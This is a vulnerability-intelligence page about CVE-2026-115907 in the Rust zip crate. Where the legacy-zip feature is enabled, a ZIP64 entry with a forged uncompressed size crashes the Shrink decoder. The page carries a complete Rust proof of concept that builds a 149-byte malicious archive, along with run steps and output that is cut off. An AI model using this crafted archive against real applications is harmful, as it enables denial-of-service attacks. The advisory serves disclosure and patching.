CVE-2026-115907 — 脆弱性インテリジェンス
zip-rs — zip
公表日:
- CVSS
- 7.5
- CISA KEV
- 未掲載（悪用がないことを意味しません）
情報源の原文（翻訳ではありません）
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
### Summary
A malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process.
### Details
When reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:
```rust
if !self.stream_read {
self.stream_read = true;
let mut compressed_bytes = Vec::new();
self.compressed_reader.read_to_end(&mut compressed_bytes)?;
self.stream.reserve(self.uncompressed_size as usize);
hwunshrink(
&compressed_bytes,
self.uncompressed_size as usize,
&mut self.stream,
)?;
}
```
In version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled.
`self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data.
The reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`.
The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.
### PoC
Create a new Cargo project with the following layout:
```text
zip2-legacy-poc/
|-- Cargo.toml
`-- src/
`-- main.rs
```
Use this `Cargo.toml`:
```toml
[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false
[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }
```
Use this `src/main.rs`:
```rust
use std::fs::File;
use std::io::{Cursor, Write};
fn push16(out: &mut Vec<u8>, value: u16) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push32(out: &mut Vec<u8>, value: u32) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push64(out: &mut Vec<u8>, value: u64) {
out.extend_from_slice(&value.to_le_bytes());
}
fn zip64_extra() -> Vec<u8> {
let mut extra = Vec::new();
push16(&mut extra, 0x0001);
push16(&mut extra, 16);
push64(&mut extra, u64::MAX);
push64(&mut extra, 1);
extra
}
fn archive() -> Vec<u8> {
let name = b"entry";
let extra = zip64_extra();
let mut out = Vec::new();
push32(&mut out, 0x0403_4b50);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
out.push(0);
let central_start = out.len() as u32;
push32(&mut out, 0x0201_4b50);
push16(&mut out, 45);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, 0);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
let central_size = out.len() as u32 - central_start;
push32(&mut out, 0x0605_4b50);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 1);
push16(&mut out, 1);
push32(&mut out, central_size);
push32(&mut out, central_start);
push16(&mut out, 0);
out
}
fn main() -> Result<(), Box<dyn std::error::Error>> {
let bytes = archive();
File::create("poc.zip")?.write_all(&bytes)?;
let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
let entry = archive.by_index(0)?;
println!(
"method={:?} declared_size={}",
entry.compression(),
entry.size()
);
drop(entry);
let output = tempfile::tempdir()?;
archive.extract(output.path())?;
Ok(())
}
```
Run the reproducer in release mode:
```sh
cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release
```
Observed output with `zip` 8.6.0 on `x86_64-unknown-linux-gnu`:
```text
method=Shrink declared_size=18446744073709551615
thread 'main' panicked at .../alloc/s